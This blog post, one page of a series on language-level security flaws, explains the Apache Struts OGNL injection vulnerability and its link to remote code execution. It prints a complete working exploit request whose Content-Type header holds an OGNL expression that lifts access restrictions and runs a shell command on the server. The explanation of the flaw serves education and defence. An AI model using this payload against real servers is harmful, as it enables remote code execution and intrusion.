How programming languages can hurt your application’s security

Posted on

The point is that despite the fact that both Java and Apache Struts technologies have been used since the early days of the web by the majority of Fortune 500 companies, simple and powerful features can lead to surprising vulnerabilities.

This particular CVE was reported in March, and the best explanationI’ve found is from Gotham Digital Science (GDS). In this attack, the attacker observed that when providing an invalid multipart content-type header, Struts will end up, in the course of creating an error message, returning the error message. However, Struts doesn’t just return the error message; it evaluates it along the way!

The blog traces several methods, but the key line is this:

MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);Where the author explains: "As it turns out, TextParseUtil's translateVariables method is a data sink for expression language evaluation ... it provides simple template functionality by evaluating OGNL expressions wrapped in instances of ${…} and %{…}."

The winning exploit payload, then, is along the lines of this:

POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: ${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 0

Just as in the case of Ruby and Python, Java is subject to unexpected evaluation of user-defined data exploiting evaluation mechanisms. In this case, the problem was not a part of Java itself, but rather was in OGNL (Object-Graph Navigation Language), a package used in the implementation of Apache Struts.

From the Apache Project website: OGNL “is an expression language for getting and setting properties of Java objects, plus other extras such as list projection and selection and lambda expressions. … OGNL started out as a way to set up associations between UI components and controllers using property names.”  Such an innocuous mechanism leads to a key step on the road to catastrophe.  Apache Struts had three other RCE (remote code execution) vulnerabilities reported this year, the most recent being announced around the same time as the Equifax breach.

Prev5 of 6Next

Leave a Reply

Your email address will not be published. Required fields are marked *